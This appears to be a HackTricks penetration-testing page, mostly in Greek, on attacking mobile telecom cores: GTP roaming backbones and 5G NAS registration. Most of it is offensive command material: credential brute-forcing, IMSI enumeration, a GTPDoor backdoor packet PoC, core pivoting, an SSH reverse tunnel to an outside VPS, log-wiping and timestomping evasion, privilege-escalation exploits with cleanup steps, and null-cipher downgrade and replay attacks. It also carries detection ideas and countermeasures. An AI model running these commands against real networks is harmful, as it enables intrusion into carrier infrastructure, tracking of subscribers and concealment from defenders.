# Εκμετάλλευση Δικτύου Τηλεπικοινωνιών (GTP / Roaming Environments) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] > Τα mobile-core πρωτόκολλα (GPRS Tunnelling Protocol – GTP) συχνά διασχίζουν ημι-έμπιστες GRX/IPX roaming ραχοκοκαλιές. Επειδή ταξιδεύουν πάνω σε απλό UDP με σχεδόν καθόλου authentication, **οποιοδήποτε foothold εντός της τηλεπικοινωνιακής περίμετρου συνήθως μπορεί να φτάσει άμεσα τα core signalling planes**. Οι ακόλουθες σημειώσεις συγκεντρώνουν offensive tricks παρατηρημένα στο wild εναντίον SGSN/GGSN, PGW/SGW και άλλων EPC κόμβων. ## 1. Recon & Initial Access ### 1.1 Default OSS / NE Accounts A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … A dedicated wordlist dramatically increases brute-force success: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` Εάν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω). ### 1.2 Host Discovery μέσα στο GRX/IPX Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν **ICMP echo** σε όλο το backbone. Συνδυάστε το `masscan` με τους ενσωματωμένους `gtpv1` UDP probes για να χαρτογραφήσετε γρήγορα τους ακροατές GTP-C: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` ## 2. Απαρίθμηση Συνδρομητών – `cordscan` Το ακόλουθο εργαλείο Go δημιουργεί πακέτα **GTP-C Create PDP Context Request** και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει την τρέχουσα **SGSN / MME** που εξυπηρετεί το ερωτηθέν IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical): ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` Βασικά ορίσματα: - `--imsi` IMSI του στοχευόμενου συνδρομητή - `--oper` Home / HNI (MCC+MNC) - `-w` Εγγραφή ακατέργαστων πακέτων σε pcap Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` ## 3. Code Execution over GTP – `GTPDoor` `GTPDoor` είναι μια μικρή ELF υπηρεσία που **δένεται στο UDP 2123 και αναλύει κάθε εισερχόμενο GTP-C πακέτο**. Όταν το payload ξεκινά με ένα pre-shared tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω `/bin/sh -c`. Το stdout/stderr εξάγεται μέσα σε μηνύματα **Echo Response** έτσι ώστε να μην δημιουργείται ποτέ εξωτερική συνεδρία. Ελάχιστο PoC πακέτο (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" cmd = b"id;uname -a" enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` Ανίχνευση: * οποιοδήποτε host που στέλνει **unbalanced Echo Requests** σε SGSN IPs * σημαία έκδοσης GTP ορισμένη σε 1 ενώ message type = 1 (Echo) – απόκλιση από τις προδιαγραφές ## 4. Pivoting μέσω του Core ### 4.1 `sgsnemu` + SOCKS5 `OsmoGGSN` παρέχει έναν SGSN emulator ικανό να **establish a PDP context towards a real GGSN/PGW**. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή `tun0` που είναι προσβάσιμη από τον roaming peer. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` Με σωστό firewall hair-pinning, αυτός ο tunnel παρακάμπτει τα signalling-only VLANs και σας φέρνει απευθείας στο **data plane**. ### 4.2 SSH Reverse Tunnel over Port 53 Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στην :53 και επιστρέψτε αργότερα από το σπίτι: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` Ελέγξτε ότι `GatewayPorts yes` είναι ενεργοποιημένο στο VPS. ## 5. Covert Channels | Channel | Transport | Decoding | Notes | |---------|-----------|----------|-------| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | καθαρός παθητικός listener, χωρίς εξερχόμενη κίνηση | | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | παρακολουθεί για `*.nodep` υποτομέα | | GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | συνδυάζεται με νόμιμη GTP-C κίνηση | Όλα τα implants υλοποιούν watchdogs που **timestomp** τα binaries τους και επανεκκινούνται αν καταρρεύσουν. ## 6. Defense Evasion Cheatsheet ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp # Disable bash history export HISTFILE=/dev/null # Masquerade as kernel thread echo 0 > /proc/$$/autogroup # hide from top/htop printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` ## 7. Privilege Escalation σε Legacy NE ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd # PwnKit – CVE-2021-4034 python3 PwnKit.py # Sudo Baron Samedit – CVE-2021-3156 python3 exploit_userspec.py ``` Συμβουλή καθαρισμού: ```bash userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` ## 8. Tool Box * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections. * `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS rogue WPAD * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting * `FRP` (≥0.37) : NAT traversal / asset bridging ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) επάνω στο NGAP. Μέχρι να ενεργοποιηθεί η ασφάλεια NAS μέσω Security Mode Command/Complete, τα αρχικά μηνύματα είναι μη αυθεντικοποιημένα και μη κρυπτογραφημένα. Αυτό το παράθυρο προ-ασφάλειας επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε την κίνηση N2 (π.χ., on-path μέσα στον core, rogue gNB, ή testbed). Registration flow (simplified): - Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities. - Authentication: AMF/AUSF στέλνουν RAND/AUTN; UE επιστρέφει RES*. - Security Mode Command/Complete: NAS integrity και ciphering διαπραγματεύονται και ενεργοποιούνται. - PDU Session Establishment: IP/QoS setup. Lab setup tips (non-RF): - Core: Open5GS default deployment είναι επαρκές για την αναπαραγωγή των flows. - UE: simulator ή test UE; decode με Wireshark. - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να σηκωθεί πλήρες rogue gNB). - Useful display filters in Wireshark: - ngap.procedure_code == 15 (InitialUEMessage) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει έλλειψη ιδιωτικότητας που επιτρέπει επίμονη παρακολούθηση συνδρομητών. Πώς να το δοκιμάσετε: - Capture το πρώτο NAS μήνυμα στο InitialUEMessage και εξετάστε το Mobile Identity IE. - Wireshark quick checks: - Θα πρέπει να αποκωδικοποιείται ως SUCI, όχι IMSI. - Παραδείγματα φίλτρων: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` θα πρέπει να υπάρχει; η απουσία του μαζί με την παρουσία `imsi` υποδεικνύει leak. Τι να συλλέξετε: - MCC/MNC/MSIN αν εκτίθενται; log ανά-UE και παρακολούθηση σε χρόνο/τοποθεσίες. Αντιμετώπιση: - Επιβάλλετε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS. ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) Background: - UE διαφημίζει υποστηριζόμενα EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request. - Κοινές αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms. Issue: - Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να καθαρίσει bits δυνατοτήτων για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services. Offensive steps: - Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να διαφημίζει μόνο EEA0/EIA0. - Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε. - Παρατηρήστε αν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0. Verification/visibility: - Στο Wireshark, επιβεβαιώστε τους επιλεγμένους αλγόριθμους μετά το Security Mode Command/Complete. - Example passive sniffer output: ``` Encyrption in use [EEA0] Integrity in use [EIA0, EIA1, EIA2] SUPI (MCC+MNC+MSIN) 9997000000001 ``` Μέτρα αντιμετώπισης (υποχρεωτικά): - Διαμορφώστε AMF/policy ώστε να απορρίπτει EEA0/EIA0 εκτός όπου είναι αυστηρώς επιβεβλημένο (π.χ., κλήσεις έκτακτης ανάγκης). - Προτιμήστε την επιβολή EEA2/EIA2 ως ελάχιστο · καταγράψτε και ειδοποιήστε (log and alarm) για οποιονδήποτε NAS security context που διαπραγματεύεται null algorithms. ### 9.3 Replay του αρχικού Registration Request (pre-security NAS) Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να επαναληφθεί προς το AMF. PoC rule for 5GReplay to forward matching replays: ```xml ``` Τι να παρατηρήσετε: - Εάν το AMF αποδέχεται το replay και προχωρά στην Authentication· η έλλειψη επικύρωσης freshness/context υποδεικνύει ευπάθεια. Αντιμετώπιση: - Επιβάλλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχέτιση ανά GNB/UE. ### 9.4 Συμβουλές για εργαλεία (αναπαραγώγιμα) - Open5GS: ξεκινήστε ένα AMF/SMF/UPF για να προσομοιώσετε το core· παρατηρήστε N2 (NGAP) και NAS. - Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα φίλτρα παραπάνω για να απομονώσετε την Registration. - 5GReplay: καταγράψτε μια registration, και μετά replay συγκεκριμένα μηνύματα NGAP + NAS σύμφωνα με τον κανόνα. - Sni5Gect: live sniff/modify/inject NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε authentication sequences. ### 9.5 Λίστα ελέγχου άμυνας - Επιθεωρείτε συνεχώς το Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν. - Απορρίψτε EEA0/EIA0 εκτός από στενά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτήστε τουλάχιστον EEA2/EIA2. - Εντοπίστε rogue ή κακώς διαμορφωμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, απρόσμενοι N2 peers. - Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage. --- ## Ιδέες Ανίχνευσης 1. **Οποιαδήποτε συσκευή, εκτός από SGSN/GGSN, που προβαίνει σε Create PDP Context Requests**. 2. **Μη-τυπικές θύρες (53, 80, 443) που δέχονται SSH handshakes** από εσωτερικά IPs. 3. **Συχνά Echo Requests χωρίς αντίστοιχα Echo Responses** – μπορεί να υποδεικνύουν GTPDoor beacons. 4. **Υψηλός ρυθμός ICMP echo-reply κυκλοφορίας με μεγάλα, μη-μηδενικά πεδία identifier/sequence**. 5. 5G: **InitialUEMessage που μεταφέρει NAS Registration Requests επαναλαμβανόμενα από τα ίδια endpoints** (σήμα replay). 6. 5G: **NAS Security Mode που διαπραγματεύεται EEA0/EIA0** εκτός συμφραζομένων έκτακτης ανάγκης. ## References - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.281 – GTPv2-C (v17.6.0) - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 33.501 – Security architecture and procedures for 5G System {{#include ../../banners/hacktricks-training.md}}